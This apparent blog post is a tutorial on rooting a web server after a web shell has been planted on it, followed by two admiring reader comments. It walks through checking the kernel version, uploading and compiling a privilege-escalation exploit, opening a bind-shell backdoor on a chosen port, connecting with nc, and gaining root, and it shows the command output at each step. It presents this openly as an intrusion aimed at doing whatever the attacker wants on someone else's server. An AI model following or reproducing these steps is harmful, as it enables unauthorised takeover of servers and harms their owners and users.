Rooting Tutorial
What we need?
-Shell atteced to an WebSite
-Backconnection Script
-Explot
-And a bit knowing about Unix Systems
So letz start the Journey to the 0Day.
First what we need to check is the kernel version we are going to do that by executing this command in the command filed or the console in the shell:
Code:
uname -a
Code:
Linux 2.6.18-194.11.1.el5PAE #1 SMP Tue Aug 10 19:48:16 EDT 2009 i686 i686 i386 GNU/Linux
-Exploit
That is a code that give us a privilage to gain root priv and have access to the whole server.Now imagine a house you are the attacker wonna to get into the house the lock is old in this case that is the kernel and we have a key[EXPLOIT] that is going to open that door and get into the house[SEVER].So is this clear? What is Exploit? Good we move on...
After we search for exploit and we find the right one we upload it to the server.
Now if the exploit is not compailed we are going to do that by executing the following command:
Code:
gcc filename.c -o filename
Code:
chmod 777 filename
As i said we are going to use GNY Shell go to Backdoor section and set your PORT number
i set it like 7777 or 7887 but its your wish and choise to do that.
After we set the backdoor now we go to
Code:
RUN->CMD
Code:
C:\nc
Code:
nc IP of the Server PORT
Code:
nc 127.0.0.1 7777
Code:
:: w4ck1ng-shell (Private Build v0.3) bind shell backdoor ::
Code:
id
Code:
id=99(nobody) gid=99(nobody)
Code:
./exploitname or ./filename
Code:
id
Code:
id=root gid=root groups=root
Now we can go where ever we wonna and do what ever we have on our mind.
I Hope You Enjoy It ! If you have any question Write them down and feal free to comment.
Wow!awesome, u r a genious.
ReplyDeleteThanx Buddy...............
ReplyDelete